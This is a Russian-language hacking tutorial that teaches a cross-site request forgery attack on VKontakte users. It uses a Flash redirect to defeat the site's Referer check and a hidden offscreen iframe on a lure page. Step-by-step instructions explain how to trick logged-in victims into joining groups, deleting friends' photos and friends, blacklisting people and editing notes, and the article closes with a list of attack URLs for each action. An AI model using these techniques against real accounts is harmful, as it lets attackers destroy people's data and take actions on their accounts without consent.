Теория

Суть уязвимости:

1. Сайт вконтакте.ру устроен таким образом, что если закрыть страницу сайта, а потом снова ее открыть, страница откроется, не запросив пароль.
2. Сайту, как я понял, все равно каким методом мы посылаем данные из формы - GET или POST - он их обрабатывает одинакого.

Мы можем воспользоваться этим.

Сформировав определенный URL в адресной строке браузера, мы можем производить некоторые действия.
Но, сайт не так просто сделан.

1. В некоторых формах есть скрытые поля с секретным кодом. Не зная этот код, мы ничего не сможем сделать. Но узнать его не просто, поэтому такие формы я не буду затрагивать в статье.
2. Сайт проверяет значение $_SERVER['HTTP_REFERER'], но мы обойдем эту проверку с помощью Flash.

Для того, чтобы все отработало успешно, нужно:
1. Чтобы у жертвы в браузере был включен Flash. (У большинства людей, сидящих в этой социальной сети, он включен, т.к. без него не работают многие сервисы контакта: музыка, видео, приложения и т.д.)
2. Чтобы жертва была залогинена вконтакте. (Большинство людей не нажимают кнопку "Выход" вконтакте, даже когда выходят из-за компа, поэтому с этим условием, думаю, проблем тоже не возникнет.)

Для примера, попробуйте ввести в адресной строке браузера в новом окне следующий URL: http://vkontakte.ru/groups.php?act=enter&gid=777107
Вы автоматически вступили в группу "В Контакте | Безопасность".
Теперь выйдите из группы и попробуйте перейти по точно такой же ссылке:http://vkontakte.ru/groups.php?act=enter&gid=777107
Теперь вступить в группу вам не удалось, а все по одной причине: переходя по ссылке с любого сайта, в контакт передается значение предыдущей страницы, и, в целях безопасности, он блокирует такие действия. Мы же, чуть позже, обойдем эту защиту.

Приведу еще пример - откройте в новом окне следующую страницу:http://vkontakte.ru/settings.php?act=addToBlackList&id=1
Вот и создатель этого сайта оказался у вас в игноре.
Подобным образом можно совершать разные действия (их список в конце статьи)

Понятно, что если вы кинете жертве подобную ссылку, жертва поймет, в чем подвох.
Мы же попытаемся открыть эту страницу незаметно для жертвы.

Но, прежде, чем использовать эту уязвимость на жертве, мы потренеруемся на себе.
В примере мы создадим скрипт, добавляющий людей в ту же группу -"В Контакте | Безопасность".
От вас требуются элементарные знания HTML.

Выглядеть будет это так:
Мы кидаем жертве ссылку на наш сайт.
Жертва открывает эту ссылку.
На сайте находится скрытый фрэйм.
Этот фрэйм ссылается на специальный Flash-скрипт, который перенаправляет нас на все тот же адрес: http://vkontakte.ru/groups.php?act=enter&gid=777107.
Т.к. идет перенаправление через флэш, то адрес предыдущей страницы не передастся, а значит контакт выполнит наше действие.
Когда в скрытом фрэйме откроется эта страница, жертва незаметно добавится в группу "В Контакте | Безопасность".

Приступим?

Практика.

Шаг 1. Создаем флэшку.
Для начала, создадим эту флэшку.
Для ее быстрого создания я написал специальный скрипт: http://swfgen.m0nster.tu2.ru
Скрипт запросит у вас URL. Вводите туда http://vkontakte.ru/groups.php?act=enter&gid=777107 и жмите "ОК".
Скрипт вернет вам ссылку на готовую флэшку.
Качаем флэшку на комп и переименовываем в более читаемый вид. Пусть будетvkontakte.swf

Шаг 2. Создаем HTML страничку.
Теперь создаем HTML-страничку. Пусть она будет называться просто index.html.
Пишем там любую чушь, главное, чтоб не вызвать подозрения у жертвы, что тут что-то неладное.
Что написать на странице - дело ваше.
После этого вставляем куда-нибудь в тело странички скрытый <IFRAME>.

<iframe src="vkontakte.swf" style="width:10px; height:10px; padding:0; margin:0; position:absolute; left:-100; top:-100;"></iframe>

(На этом этапе может возникнуть вопрос, почему не сделать просто display:hidden, например. А потому, что в таком случае флэш не отработает)

Шаг 3.
Теперь у нас есть два файла: vkontakte.swf и index.html
Регистрируем какой-нибудь сайт на бесплатном хостинге.
Нам даже поддержка PHP не нужна, поэтому почти любой хостинг нам подойдет.
Загружаем на свеженький сайт наши файлы.
И попробуем открыть страничку index.html.
Открывается страничка, ничего странного вроде не наблюдается...
Теперь открываем нашу страницу Вконтакте и смотрим список групп - если там появилась группа "В Контакте | Безопасность", значит, все отработало успешно.
Можно выйти из этой группы и снова открыть нашу страницу index.html, чтобы точно удостовериться, что все работает.

Все, мы научились делать это.
Теперь попробуем что-нибудь посложнее.
Давайте удалим какую-нибудь фотку у друга.
Для этого нужно знать ID фото.
Узнать его не сложно: открываем страницу просмотра нужной(а точнее ненужной) фотографии и смотрим адрес страницы.
Там что-то типа такого: http://vkontakte.ru/photos.php?act=show&id=1234567_987654321.
В этом случае ID фото будет 1234567_987654321. Вы же делаете по аналогии.
Когда узнали идентификатор фотографии, идем к уже знакомому скрипту, который сгенерирует нам флэшку.
Пишем в поле URL следующий код: http://vkontakte.ru/photos.php?act=do_fdelete&id=ИД_ФОТО
Дальше все уже знакомо: переименовываем флэшку, создаем HTML страничку, там<IFRAME>, ссылающийся на нашу флэшку.
Теперь кидаем ссылку на нашу страничку другу, и, если друг нажмет на ссылку, то фока у него должна исчезнуть.

Думаю, принцип вы поняли.
Теперь приведу список возможных действий, и требующийся для них URL.

http://vkontakte.ru/settings.php?act=addToBlackList&id=ИД

Добавить человека в черный список
http://vkontakte.ru/friend.php?act=do_delete&id=ИД

Удалить друга
http://vkontakte.ru/groups.php?act=enter&gid=ИД_ГРУППЫ

Вступить в группу
http://vkontakte.ru/groups.php?act=leave&gid=ИД_ГРУППЫ

Покинуть группу 
http://vkontakte.ru/notes.php?act=do_delete&nid=ИД_ЗАМЕТКИ

Удалить заметку
http://vkontakte.ru/notes.php?act=update&nid=ИД_ЗАМЕТКИ&title=НОВЫЙ_ЗАГОЛОВОК&Post=ТЕКСТ_ЗАМЕТКИ&visible=0&commentable=0

Редактировать заметку
ИД заметки можно узнать из url при просмотре заметки.
visible - кто может просматривать заметку. commentable - кто может комментировать
могут принимать следующие значения:
0 - все
1 - Друзья и друзья друзей
2 - Только друзья

http://vkontakte.ru/video.php?act=do_delete&oid=ИД&id=ИД_ВИДЕО 
Удалить видео
(ИД_ВИДЕО можно узнать из url при просмотре видео)

http://vkontakte.ru/photos.php?act=do_fdelete&id=ИД_ФОТО 
Удалить фото
(узнать ид фото можно из url при просмотре фото.)

http://vkontakte.ru/settings.php?act=send

Выслать на почту жертвы письмо с её паролем